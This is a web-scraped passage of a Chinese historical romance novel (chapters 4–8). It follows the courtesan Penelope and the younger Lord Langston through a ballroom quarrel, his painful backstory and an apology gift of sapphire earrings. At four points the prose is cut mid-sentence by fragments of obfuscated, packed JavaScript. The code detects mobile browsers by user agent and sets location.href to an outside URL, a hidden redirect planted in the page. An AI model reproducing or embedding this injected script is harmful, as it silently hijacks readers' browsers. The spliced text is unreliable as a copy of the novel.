他在让她去注意其他的或许确实对她心怀好感的男人，而不是暗示自己就正在对她怀着别样的心情。 他今天晚上，又是维护了她，又是邀请她跳舞，几乎把心思都花在了她的身上，却其实根本没想过要与她发展友谊，全是她自己在这里自作多情？ 她不禁又想起了她旧情人说的话，朗斯通勋爵是个正派的人，见不得这种事。 她接连受辱，顿时就怒火中烧起来。这正义的小家伙是觉得她被莱顿的新欢羞辱很可怜，他纯粹是出于怜悯才对她做了这么多事！ 她不禁又想起了他之前在剧院拉了她一把又十分尴尬地试图吻她的事。也许他一直都有同情心泛滥的毛病，让他无法去拒绝一位女士的主动献媚，事实上，他对她这个老女人实在是提不起什么兴趣，连吻都吻不下去。 她打开扇子，用力地扇了两下，却怎么都扇不走在她身体里涌动的情绪。 “我非常感激你的好意，朗斯通勋爵，不论是你在他人面前回护我，还是现在又试图安慰我，但我希望你明白，我其实并不需要你来干涉我的事情，我并不可怜。” 说完，她就高高抬着头，从他的身边走开了，不给他任何回应的机会。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333943|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她向来最讨厌这种傲慢的男人，他以为他是谁呢？救世主吗？她与竞争对手们勾心斗角了快二十年了，她总能应付过来，她根本不需要男人那些高高在上的同情。 * 克里斯蒂安看着她怒气冲冲离去，顿时后悔不已。 他确实不该插手她的事，惹得她大发雷霆。只是，当他听到她被人羞辱的那一刻，除了冲过去关心她之外，他脑子里没有任何其他的念头。 他一直在偷偷地看着她。她明知道，她的情人刚刚为了更年轻的女人抛弃了她，所有人都在等着看她的笑话，可她还是勇敢无畏地过来了。她高昂着头，像个美丽而强大的女战士。 她应该得到赞许，而不是羞辱。 他真希望事情可以就在这里结束，他展示一下绅士风度，然后离去。 可是他的嫉妒心让他继续犯了错。他知道她与珀西瓦尔·奎因爵士的关系，也看得出来，哪怕已分开数年，她依然非常信任非常依恋珀西瓦尔爵士，而珀西瓦尔爵士也显然还是非常在乎她。 那个起码四十岁了的老男人。 他在心里暗暗地拿年龄攀比着，又不得不承认，即便已年过四十，那个男人依旧充满了男性魅力。 多年以来，他一直很刻苦，他让自己擅长骑马与狩猎，成为一个出色的拳击手，在球场也总是表现出色。他希望自己是个能受到男性崇拜的人，可珀西瓦尔爵士仿佛只是站在那里就能做到这一点。 所以珀西瓦尔爵士才会是唯一一个独占了她整整五年时光的男人…… 被这些情绪驱使着，他又自惭形秽，又情不自禁地走了过去，哪怕只是打断她与她的老情人那些亲密的对话。 之后，一切就彻底失控了。 他甚至还忍不住邀请了她跳舞，动机当然绝对不是她所想的那样，他完全是自发地想和她跳舞，想得要命。 她看起来太美了。在烛光下，她的头发泛着迷人的光泽，简直令人心醉，而她的礼服，则更是罪恶，它完美地凸显了她身体的每一处曲线，生怕哪个男人见了会不发疯。 同时，他也毫不怀疑她佩戴的项链非常抢眼，那颗硕大的泪滴状蓝宝石就垂在一个最引人遐想的地方，让人几乎挪不开目光。 当他再次把她抱在怀里，那感觉美妙得他一度都不想松手。他多么想整天就这样和她待在一起，赞美她、逗她笑，让所有的烦恼都通通远离她。 只差一点，他就要表达出他对她的迷恋了。可他虽然及时恢复了理性，却也直接就毁掉了他之前营造的一切。 他把她给气了个半死。 5. Chapter 5 “佩妮，你看起来好像有点生气？”正在品尝着美味的点心的莎拉抬起头，惊讶地看着佩内洛普走了进来，并径直走向了桌边，一仰头灌下了一整杯柠檬水。 她的自制力一直很强，莎拉想，她甚至都没有选择喝酒。 “你没有度过一段愉快的时光吗？我看到你们好像还一起跳舞了，汉娜·克罗夫特可一直说他简直是个舞蹈家。” “他确实是。”佩内洛普惆怅道，“他的华尔兹跳得像梦一样，但是……” 她顿了顿，不知是否应该将心中的话讲给朋友听。这些日子，她已经听够了安慰与劝解，也不愿让别人再多费唇舌。 于是，她继续道：“你们都误解他了，我认为我还是应该接触我的同龄人，那会更合适。” “他怎么了？他是对你说什么了吗？我就知道，男人没有一个好东西。”莎拉一边说一边情不自禁地叉起了腰，“你别听他的鬼话。” “不。” 即便刚刚还怒不可遏，现在冷静下来了，佩内洛普认为自己还是得替朗斯通勋爵正名。 “他没说什么，真的，他的确是个很正派的人，所以，他在怜悯我的遭遇。” 说出“怜悯”这个词时，她忍不住轻笑了一下，那笑里透着几分自嘲。她曾经无限风光，只有她怜悯别人年华不再的时候，哪有别人——无论对方是男是女——来怜悯她的份…… “你才不需要被怜悯呢。”莎拉道，“你可不会被轻易打倒，他太看轻你了。” 莎拉的话几乎让佩内洛普有些不好意思了。她不明白，为什么莎拉总是可以对她充满了信心，明明她自己都很难做到这一点。 她半开玩笑道：“也许像他这个年纪的孩子就是这样的吧，充满了正义感，恨不得可以拯救全世界所有遭遇不幸的人。” “不，不要随便就叫别人孩子，你可压根生不出来这么大的孩子，倒是我，我或许可以勉强一试吧。”莎拉道。 佩内洛普笑了笑，没有应答。 她确实生不出他，但毫无疑问的是，她完全可以生出来他未来的妻子或者情妇。多少初入社交界的女孩正在渴望着可以嫁给他，她们叽叽喳喳、笑声清脆，天真又可爱，只有她一半的年纪。 她们……她们其实就跟她死去的孩子差不多大的年纪呢…… 想到这里，一阵突兀的悲伤忽然自体内涌现，像一阵冷风一般穿心而过，只一瞬间便席卷了她，令她几乎是有些喘不过气来。 她已经很久很久没有想起她早逝的一双儿女了，更别提他们死得更早的父亲，她绿眼睛的苏格兰人马修·麦金托什，她曾经爱他爱得发疯。 莎拉一看她的神色就明白，她又不能自控地想起了一些不太愉快的往事。 “至少这里的甜点非常美味，你也吃一点吧，别光让我一个人一直在发胖。”莎拉努力调节气氛，“我这几年愈发容易发胖了，明明我以前怎么吃都行。” 佩内洛普乖乖地吃下了一块。 之后很快，两位有目的的绅士向着她们走了过来，莎拉屈服于英俊的亚当斯先生的恳求，给了佩内洛普一个抱歉的眼神，便挽着他的胳膊离开了。 而另一位绅士以一种懒散的方式叹了口气，却也不觉得这是什么遗憾，他马上就将攻势转向了佩内洛普。她没有好友里士满夫人那样炽热的激情，而是更矜持、更具淑女风范这一点人尽皆知，但这也没什么不好，她毕竟是高贵的赫尔斯顿侯爵的女儿。 而且，她现在还恢复了单身。 佩内洛普没有选择拒绝他的示好。就现在，她多跟其他男人愉快地跳跳舞也是好事，免得她会一直陷在往日的不幸回忆里，无法自拔。 佩内洛普没有拒绝他的搭讪。此刻，她需要跳舞，需要热闹，需要用别人的笑声和夸赞把自己从悲伤的沼泽中拉出来。 她接受了一个又一个邀约，一支接一支地跳舞，不知疲倦，仿佛全然忘记了心里的苦涩。 直到—— 莱顿勋爵悄然走近。 “佩内洛普。”他用一种得意的语调唤着她的名字，向她搭话。 “我希望你一切都好。” “当然，蒂莫西。”佩内洛普努力令自己自然地露出一抹恍如公爵夫人般的微笑，这微笑曾经深深地迷住了他。 事实上，这半年来，我可能从未感觉如此自在。”佩内洛普语调温和，话锋一转，“我也希望你与美丽的贝罗奇奥小姐相处融洽。” 见她永远都是这个令人厌恶的高贵不可侵犯的样子，莱顿一时间也不免有些泄气了。 他只能继续得意地炫耀他的新情妇：“玛格丽塔确实是个最最迷人的女孩。说实话，我先前可还真是不太好意思去追求她呢，我也压根没想到她竟然还真的会鼓励我的追求，毕竟我们各方面的差异很大，比如说年龄，我实在比她年长得太多了，不是吗？” 他说着，还故意加重了“年龄”二字。 闻言，佩内洛普脸上的笑容瞬间就僵了几分。她明白他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333944|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在吹嘘自己多么的有魅力，并暗示她也比贝罗奇奥小姐老得多了。 她与他的年纪差不太多，虽然从外表上来看，这一点其实并不明显，他看起来起码比拼了命努力保养的她大了十五岁。 想到这里，她也不禁认真地看向了莱顿勋爵的脸，一张还算英俊却写满了乏味的脸，她忽然有些鄙夷自己当初怎么会饥不择食到与这种令人厌恶的男人发生关系。 而这个世界好像也总是这么不公平。一个男人追求一个几乎可以做他女儿的女人，不会有任何人觉得有问题，若是成功，大家还会赞美他的魅力，可是一旦性别互换，一个女人去接近比自己年轻的男人，那便成了茶余饭后的笑柄。 佩内洛普摇了摇扇子，道：“别多想，蒂莫西，正因为一些差异，你们俩才更是天造地设的一对。众所皆知，你早早便拥有了许多人到老年才会显露出的优点，而贝罗奇奥小姐则相反，你们正好可以中和一下。” 莱顿抬起了他的眉毛，疑惑地看着佩内洛普，感觉好像哪里有点怪怪的，又实在搞不清究竟是哪里怪怪的。 佩内洛普不再理会他，正准备结束这场无趣的交谈时，一个熟悉的声音插了进来—— “好久不见，莱顿。” 莱顿愣了愣，随即也回过头去，与对方打了声招呼：“啊，是朗斯通勋爵，能在这种场合看见你可真是稀奇啊。” 佩内洛普不悦地看着克里斯蒂安，忍不住想，他这是看到她与莱顿在一起就又准备来做英雄了？天呐，也许这位年轻伯爵真的看过很多骑士小说，看得脑子都不正常了。 果不其然，他与她打了招呼，又与莱顿闲聊了几句，便开始表明自己的来意：“介意我借走你的同伴吗，莱顿？我有一些话想对佩内洛普女爵说。” 多么艰难的抉择，佩内洛普想。找个借口留在莱顿身边，没准会让他觉得自己旧情难忘，准备对他死缠烂打，苦苦哀求，还是跟一个被浪漫的骑士主义精神冲昏了头脑的家伙说话，让她再被狠狠地气一气…… 她沉思着，还没有想出什么结果，莱顿已经诧异地看了看他又看了看她，并给出了答复：“一点也不，请便。” 在她看来，这蠢男人那变来变去的表情真是非常滑稽。他一定气坏了，他自己刚美滋滋泡了个二十来岁的年轻姑娘，结果他的前情人也不甘示弱，立马找了个比他年轻比他英俊比他富有比他头衔更高的小伙子。 于是佩内洛普还是选择了配合克里斯蒂安，至少可以有点收获。 6. Chapter 6 佩内洛普任由克里斯蒂安将她护送到了一个可以让他们单独说话的地方。 “你想和我说什么，朗斯通勋爵？” 克里斯蒂安犹豫了一下，小心翼翼开口：“我想我之前说错话了，是吗？” “不，爵爷，你非常有风度。”佩内洛普道，“就只是我并不需要你的帮助，你让我觉得……觉得自己像个十足十的傻瓜。” “不，我可以解释的。”他说。 “这没有必要，而且我也并不需要。” “佩内洛普！”他一边以一种失礼的方式直接唤出了她的名字，一边赶忙拉住了她的手臂，阻止她离去的动作，眼神中满是急切与懊悔。 “我会跟你跳舞是因为我很想跟你跳，不是因为我觉得你很可怜，我从来没有哪一分钟觉得你很可怜。而我赞美你的那些话也是真的，我不是那种整天追在女士身后满嘴奉承话的滑头，我从不习惯说一些言不由衷的话，请你相信我。” 他语气的激烈让她感到意外，与此同时，她也意识到，她喜欢听到他抛弃头衔直呼她的名字。 她安静地凝视着他，他脸上真挚的表情没有一丝虚伪。 所以，她并不是一个可怜的、自作多情的小丑？他跟她跳舞确实是因为他对她感兴趣，这个认知在她血管里涌起了一股暖流。 “我相信你。”佩内洛普轻轻道，“但你可以松开我的手臂了吗，爵爷？” 他这才意识到自己做了什么，迅速放开了她，然后他说：“克里斯蒂安。” “什么？”佩内洛普佯装诧异地问。 事实上，她这种老练的交际花完全知道这个青涩的小伙子正在做什么，他希望她可以称呼他的教名。 可是这很亲密，非常亲密，而她与他目前还压根没有发展出什么亲密的关系，他们甚至才刚刚正式认识…… “我叫克里斯蒂安，女士。”克里斯蒂安回答了她，带着几分恼人的倔强。 佩内洛普盯着他那张年轻而认真的脸看了一会儿，最终只能选择妥协。 她微笑了一下，语调干脆道：“克里斯蒂安。” 他松了一口气，道：“我希望你也不会介意我称呼你为佩内洛普。” 佩内洛普忍不住想，他现在才说这种话是不是有点晚了？ 可她还是点了点头：“当然。” 然后，她又问他：“克里斯蒂安，你现在究竟是想要怎么样呢？” 因为他之前提出的要求，‘克里斯蒂安’她甚至咬了个重音。 “我……我不想怎么样，佩内洛普，我就只是希望你不会误解我、讨厌我。” 当他再一次说出了她的名字，他看到她眼中的情感一闪而过，那拨动了他心上的一根琴弦。 这个地方还是太安静了，此刻，他耳边轻轻的管弦乐就仿佛是来自于另一个世界，而他的世界里就只有她。 他忽略了脑海中同时响起的警报，情不自禁地向前一步，直到他们之间只相隔一英寸的距离，她的呼吸不可避免地开始变得急促，只一瞬间，她的气息便充满了他的鼻腔。 他听着她细微的声音，想象着把这些声音吞进喉咙里的感觉。 耶稣基督，他完全明白靠近她是个最大的错误，可只要她一出现在他的附近，他就总是难以克制自己，这简直像是一个诅咒。 佩内洛普，你究竟是佩内洛普还是塞壬？此刻，他真希望能把自己绑在桅杆上，好抵挡这气息这声音的诱惑。 他太想吻她一下了，就轻轻的一下，他得尝尝她的味道，之后，他会知足地抱着他的初吻度过余生。 他低下了头，只差一点就真的吻到了她，如果她没有及时避开的话。 她飞快地摇着扇子，又偏头看向舞厅的方向：“我想我得回去了，爵爷。” 克里斯蒂安恢复了几分理智，道：“你好像并不想接受我的名字。” 闻言，佩内洛普顿时有些尴尬。好几个女人都曾吹嘘过与他的邂逅，她们说他是个调情高手，在床上的表现也完美无缺，但不知为何，在她面前，他总是像个奇奇怪怪的愣头青。 “我们之间并不存在任何的亲密关系，不是吗？” 确实如此，克里斯蒂安有些黯然，他们有着永恒的隔阂。 只是，谁又规定过两人之间只能有一种亲密关系呢？ 他想到了什么，又道：“我们难道不能成为朋友吗？我会非常珍惜我们的友谊。” 她淡淡道：“我想确实如此，爵爷。” “为什么？因为我比你年轻了几岁？你不希望会有一个太过幼稚的朋友？” 才一说完，克里斯蒂安便有些后悔，他明知道不久之前就有个女人用年龄中伤了她，而愚蠢的莱顿在选择了年轻的贝罗奇奥小姐后，估计也跟她说过一些关于她年纪的刻薄话…… “当然不是。”佩内洛普道。 但她的神色呈现出了相反的意思。 然后她再一次试图离开，而他仍然选择拦住了她，幼稚的行为。 “我该怎么让你改变主意呢？你需要什么，佩内洛普？” 佩内洛普莫名其妙地看他一眼，道：“我知道，我的风评并不算好，所以，在你看来我就是个要价较高的妓女，但事实上，我并不随便，我对我的每一段感情都很认真，而现在，我也还没有绝望到这个地步，你找错人了。” 说完，她就轻蔑地推开了他的手。 克里斯蒂安没敢再拦她。 他是这个时代的头号蠢货。明明他在应付其他人时总能游刃有余，可在她面前，他每时每刻都在强调自己是多么的青涩没有经验，生怕她会忽然忘记了他比她年轻得多、愚蠢得多。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333945|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他明明是想要向她道歉的，结果，他就跟莱顿一样羞辱了她。不管这究竟是不是他的本意，总之，她一定是这么认为的。 想到这里，他猛地从麻木中清醒了过来，连忙追了上去。 “佩内洛普！”他喊道，“我是个蠢货，彻头彻尾的蠢货。” “请不要这么说，朗斯通勋爵。”她依然表现得颇有礼节。 他碰到了她的手，她想要甩开，却没有成功，反而还因为急着要离开，导致整个人直接失去了平衡。 他再一次将她拉进了自己的怀抱里，感觉到一阵颤抖传遍了她的全身，他知道那是因为他抱紧了她。 他低下头，看着在她敞开的领口下，她丰满的胸脯正在上下起伏，他多么想就这么低下头去。 一想到那个画面，他马上便痛苦地意识到了自己的身体反应。 而她立刻狠狠地扇了他一巴掌。 他把被打歪的脸转回来，只能赶紧松开抱着她的手，在她面前规规矩矩地站着，活像是一个犯了错的学生，正等待着老师的训话。 他太相信自己总有一点理性，可最后得到的结果却是在她面前失态了了一次又一次，他不能继续重蹈覆辙了。 “我很抱歉，我明明想要道歉，却犯了更多的错，我们可以重新开始吗？” 佩内洛普毫不犹豫道：“这没有意义，爵爷，我认为我们最好还是不要再接触了，这对我们都好，因为我看起来好像总是使你犯错，而你也总是使我生气。” 她没有给他任何回应的机会，用最快的速度离开了，他只能看着她走远。 他明明有着英雄般的开局，他想，可现在，他在她的心里估计比莱顿还不如，他可真是个机灵鬼。 * 佩内洛普确实快被他气疯了。 她气冲冲地想要走回舞厅，却迎面撞上了一个鬼鬼祟祟的白裙女孩。 她看清了对方美丽却稚嫩的脸，愣了愣，本能地开口：“米娜？” 女孩惊讶地望着她：“我们认识吗？” 佩内洛普这才意识到自己失言，她摇了摇头，道：“并不，威尔莫特小姐，只是我记住了你，你是今年最受瞩目的社交新秀，不是吗？伦敦的绅士们都正在疯狂地追捧你呢。” 闻言，米娜·威尔莫特不禁低下了头，微微地红了脸，看起来很是动人。 “我认为大家其实都很出众。”她轻轻道。 然后，她又看向了这位看起来十分亲切的女士：“请问我又该如何称呼你，女士？” “我并不值得你认识，小姐。”佩内洛普微笑道，“那会影响到你的名声。” 说完，佩内洛普意识到有人过来了，也不得不迅速离开，以免会被旁人看见了她在与一位名声清白的未婚小姐说话，徒留年轻的威尔莫特小姐仍在原地疑惑不解。 7. Chapter 7 舞会结束后，克里斯蒂安在黎明的微光中烦躁躁地回到了他位于格罗夫纳广场的联排别墅。他沿着楼梯快步上楼，指望睡上一觉能将一切不愉快统统抛诸脑后。 他重重地关上卧室的门，粗鲁地脱下外套，随手扯开领结，解开衬衫的纽扣。 这些事情一向都是他自己来做。他不像其他任何有钱有身份的绅士，他从来没有雇佣过贴身男仆，因为他不希望会让任何人发现自己的身体缺陷。 他撕扯着，把衣服通通脱光，在走去拿睡衣的途中，他从落地镜上看到了自己的全身。他停下脚步，一种令人作呕的感觉顿时从他的胃部涌起。 他的父亲是对的，他不是一个男人！可是，他最近为什么总是想不起来这一点？ 克里斯蒂安猛地转过身去，抗拒再看一眼，可那些该死的记忆依然如潮水般涌上脑海，无法遏制。 他的父亲恨透了他，光是看到他的存在就怒不可遏。因为他的父亲是一个传统意义上的大男人主义者，而儿子的残缺是对父亲能力的一种羞辱。 他半辈子都活在疯狂的殴打与恶毒的辱骂里。有些时候，他的日子简直比狗都不如。作为对比的是小他几岁的堂亲，在他的母亲因病去世后，他的父亲直接视自己的侄子为真正的继承人，对那个除了身体完整外无论哪方面都根本比不上他的男孩极尽宠爱。 对此，他能说什么呢？是上天使他生来残缺，他没有任何办法，只能默默忍受一切，甚至不敢心生任何怨言。 可如果就仅仅只是这些也就算了，他还能忍受，更糟糕的是，他的父亲是个风流成性的男人，在妻子去世后愈发肆无忌惮，三天两头便举办奢靡的宴会，招揽一群堕落的半上流社会男女彻夜狂欢。 他努力地让自己躲开了这些糜烂的聚会，他在一个又一个的同学朋友家中暂住，却可惜，他不能总是就这么躲开。他有一个小他三岁的妹妹，他的费思，而且，费思年轻的家庭教师莉迪亚也有一个年幼的妹妹，住在他家里，充当费思的伴侣，就是多萝西。 两个小女孩在一点点长大，而莉迪亚只是个卑微的家庭教师，在许多事情上她都根本无能为力，他这个大哥哥必须在这种堕落的环境中多多照顾她们保护她们。即便，他自己也明明还是个孩子，还需要保护。 最后，他终究还是被那场放纵的宴会卷入。一位美艳轻佻的女演员被他青涩的模样吸引，便与他调情，极力邀请他去她的房间，甚至试图半夜爬他的床。 这件事很快就被他的父亲知道了，那个男人就像听到了什么天大的笑话一般，在众目睽睽之下把他摔在地上，踩着他的脸大声地嘲笑了他，他这一生都不可能忘记那种笑声，噩梦一般的笑声。 克里斯蒂安钻上床，拿被子蒙着头，徒劳地想要把父亲狂放的笑声埋藏起来，埋进脑海深处。 然而，无济于事。 于是，他的思绪不禁又飘向了那个曾让他感到安心的女孩——可怜的多萝西。 就在不久之前，多萝西还是他名义上的情妇。他只出于必要，让她在他的朋友面前亮过一两次相，那起到的效果非常好。她是一名淑女，她用她与生俱来的端庄得到了所有人的尊重。 可是她已经离开了，还马上就要结婚了，他将会亲自送她出嫁，这是她要求的。她无父无母，只有一个姐姐，而他在她口中，比亲兄弟还要更亲。 他当然很高兴她能得到幸福，在她经历了那么多事后，尤其他也可以算是一切的元凶之一。 他实在不该邀请他的同学乔治·圣-约翰过来做客的，克里斯蒂安想，不该让这家伙趁机迷住了他家两个情窦初开的女孩。 圣-约翰引诱了那年十八岁的多萝西，与她偷偷地陷入了热恋。可当情事败露，却无心娶她为妻。 多萝西的出身可能确实不太配得上一位子爵的次子，但也不至于会惹人非议。只是，圣-约翰的子爵父亲显然不可能同意儿子娶一个因为风流韵事而死的军官留下来的贫穷孤儿，同时，圣-约翰本人也认为她确实与她父亲一样，在道德上存在瑕疵。 即便是他主动引诱的她，她自己也同意了不是么？她实在不应该同意的，她就应该给他一巴掌，那样至少能说明她虽然家道中落，却依旧有着淑女的风范，懂得坚守贞洁，值得他高看一眼。 不然，她今天可以不拒绝自己，明天照样可以不拒绝其他人。他是子爵的儿子，他需要一位出身名门而且在道德上也无可挑剔的闺秀。 这完全击溃了陷入爱情的多萝西，然后，又是费思，费思认为这是一种最无耻的背叛，为此，她怒不可遏地与多萝西大吵了一架，并发誓永远都不会原谅对方。 悠闲的假期时光最后变成了这种鸡飞狗跳的模样，他同样气得要命，在勒令圣-约翰必须娶多萝西为妻未果后，他几乎想直接杀了他的同学赎罪，可是多萝西阻止了他向圣-约翰提出决斗，她已经足够耻辱了，不想把事情闹大。他为了她的名声只能选择暂且沉默。 直到三个月后，这个他几乎是看着长大的女孩血淋淋地被扔到了后门。 她刚刚经历了一场失败的堕胎手术，帮助她堕胎的人害怕会出人命，只能赶紧把人偷偷送回来，让他们救人。 他的妹妹费思当时也被大家慌乱的声音吸引，好奇地找了过去，然后吓得直接大喊了一声“多萝西”就晕了过去。当她好不容易醒来，她又内疚又心疼，几乎是衣不解带地照顾她从小到大的朋友，莉迪亚与他都劝说过，这不合适，但是费思一直非常执拗。 也大约正是为了费思的努力不至于白费，多萝西虽然发了几次高烧，一度濒死，最后却还是十分艰难地活了下来。 圣-约翰一直试图纠缠多萝西，不愿与她结婚不代表他准备与她一刀两断。他从一开始就偏偏被她吸引，而不是同样美丽的费思女爵。她也许不能成为他的妻子，但他一点都不介意让她做他的情妇。他本以为东窗事发后她会被直接赶走，然后他会收留她，会将她当做女王，让她过上远比子爵夫人还好的日子，可是她偏偏得到了朗斯通家的保护。 后来，圣-约翰不知怎的还知道了多萝西所经历的事，行为更是变本加厉起来，只是通通都被打了回去。 这个家伙费尽心思也见不到人，最终甚至是一咬牙提出了去苏格兰结婚。即便他的父亲可能会因此切断他的资金，他也只能认了，他没有办法了，她赢了，他爱她，也不想继续被她与死去孩子的幽灵缠绕了，他妥协了。 可是，令所有人都完全没想到的是，多萝西绝不同意，曾经天真的以为自己被深爱着的女孩已经被伤透了心，她宁死也不想再见到这个人。 当她好不容易养好身体，她无法面对费思，也觉得自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333946|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己不配被这个家中的所有人宽容以待，她想要离开，却迷茫不已，不知自己该何去何从。 她毕竟是个女孩，女孩生来就不被鼓励独立走出家门，她的出路简直是少得可怜。 最终，她只能怯生生地敲响了雇主的门，希望能被介绍一份老太太女伴的工作，而且工作的地方越远越好，她想就这么躲在角落里度过一生。 当时，他正在为了有关女人的问题头疼不已，听到她的话，他好气好笑的同时，脑子里也有了主意。 于是，他向她提出了另一种选择——成为他的“情妇”。 他知道自己卑鄙。无论他将给予她多么优渥的生活，他永远也无法否认这一点，他将会让她在一些人面前沦为妓女一般的货色，一文不值。 可他实在是找不出比她更合适的人选了，他只能选择让自己在这件事上自私了一把。 也许是为了报答他吧，她很快就点头同意了，并与他一起搬到了伦敦。他为她找了一个十分清净的地方，雇了几个仆人伺候她，自己则时不时地跑过来，花一两个小时看一本书，或者在房间里独自睡一整晚。 偶尔，他需要去巴黎一趟时，也会顺手带上她一起，让她可以买点时髦衣服或其他女孩喜欢的玩意，即便她根本无心打扮自己。 当然了，他也不是没想过让一切再高调些，比如说公开带她出来在上流社会露面。她是个有教养的淑女，她完全可以应对各类场合。至少，他也应该时不时与她一起在某个时髦餐厅里吃个饭，与相识的人打个招呼。 但他怎么也不忍心这么对待她。 于是大多数时候，他的“情妇”都是十分神秘的，他让她只需要安静休养，几乎无人打扰。 就这么四年过去了，在精心呵护下，她总算又开始变得愿意笑了。她从过去的伤痛中彻底恢复了过来，与费思恢复了友谊，甚至再次恋爱了。 当她告诉他自己要结婚了时，她看起来很伤心。在这个世上，她唯独害怕他会生她的气，对她失望，尤其，她也确实不想看到他将再次陷入困境。 当然，她压根就不知道他到底有什么苦衷，她从来没有开口问过，她就只是很关心他，希望他可以得到幸福。 她握着他的手，说了一次又一次，她想看到他敞开心扉，去找到一个让他快乐的人，而不是封闭自己。 他也期望过幸福，克里斯蒂安想，在他还不明白他身体的缺陷代表什么的时候，现在，他已经没有勇气再妄想了，就像他父亲一直以来告诉他的，有些东西永远与他无关。 于是，他只能随口敷衍她，好让她可以无牵无挂结婚，然后再独自思考自己接下来究竟该怎么办。 他该怎么找到一个新情妇，一个永远不会质疑为什么她的保护人拒绝碰她的人，一个他绝不能太感兴趣的人，比如佩内洛普就不行，永远不行…… 他在思绪中慢慢地有了些许的倦意。 他做了个长长的梦，梦见自己仿佛是进入了古希腊神话世界。他看起来像是奥德修斯，那位英勇善战的国王，曾在海上漂泊了十年，而他忠贞的妻子一直在等待着他。 在他生死未卜的那段时间里，被追求者纠缠的王后白天织布，晚上拆布，用自己的方法努力捍卫着她的爱情，一个无论在顺境还是逆境中都矢志不渝的女人。 佩内洛普。 8. Chapter 8 佩内洛普皱着眉头，努力集中注意力做她的刺绣。 可惜，她并不擅长这项精细活儿。第二次，她不小心扎到了自己的手，针尖刺破指腹，一点血珠渗了出来。 天呐，她这一生都没感到如此挫败，即便是在被莱顿那种货色毫不留情地甩掉的时候。 莱顿。 想到这个名字，她不禁冷笑了一声。她当然一点也不在乎莱顿，她确实是犯了一个蠢，但凡她再年轻几岁，她都不可能昏头到点头同意他的追求，他根本就不是她的类型，甚至连让她愤怒的价值都没有。 她随手将刺绣丢到一边，走到窗边。外面的天气出奇的好，阳光洒满了伦敦的街道，空气中甚至带着几分温暖的气息。若是从前，她一定会高高兴兴地去海德公园骑马，享受清晨的微风和青草的芬芳。可现在，她却连出门的兴致都没有。 她索性站在窗前，伸出双臂，让阳光透过玻璃洒在她的肌肤上。温暖的触感穿透她的衣料，缓缓渗透进她的骨血，带来一丝久违的安宁。 好一会儿，她被整个世界遗忘了，直到前厅的门铃忽然响起。 她愣了愣，猛地回过神来，不免有些好奇是不是有人来拜访她了。 可是很快，管家里德一个人出现了，他还带来了一个包装精美的盒子，显然来自伦敦最好的珠宝店。 他毕恭毕敬道：“这来自朗斯通勋爵，女爵。” 佩内洛普差点就想不雅地翻个白眼。 朗斯通？他这算是什么，赔礼道歉？他以为她会在乎珠宝首饰吗？她并不缺珠宝首饰，也向来不会轻易被这些东西迷惑。 总而言之，她才不需要他的道歉。她做了快二十年的交际花了，还从来没有见过这么莫名其妙的无礼男人，她真的不想与他再有任何的纠葛了。 “谢谢你，里德。” 她接过了精美的盒子，却只是低头看着它，在脑海中猜测着里面究竟是什么。 就这么看了好几分钟，她猛然意识到自己这样可实在不太正常，才一狠心将它打开。 然后，刚刚还颇有些怒气冲冲的她不禁轻声笑了出来。 她在卡片上看到了一幅十分有趣的小画，那个曾惹她生气的年轻人画了一头正说着“对不起”的笨驴，憨憨的，甚至有几分可爱。 原来他也在觉得自己的表现蠢如驴。 而一幅画自然不足以表达他的诚意。她微笑着，再将底下的真正的礼物打开，然后，映入眼帘的是一对精致无比的蓝宝石耳环。 她抚摸着其中一枚耳环下坠着的泪滴状蓝宝石，很快就意识到它与她在那场舞会上所戴的蓝宝石项链是多么的相配，那是她最喜爱的项链。 所以，这是他特意定制的么？就纯粹是为了搭配她的项链？ 佩内洛普的心情变得微妙起来。 她过往的情人中，没有一个人曾如此用心。她也已经很久没有收到这样贵重、又如此贴合她品味的礼物了。男人们似乎越来越不愿意在她身上花费精力与金钱，他们的殷勤总是浅尝辄止，而朗斯通……却完全不同。 想到这，她心情复杂地走到了镜前，将美丽的耳坠放在耳朵边比划。 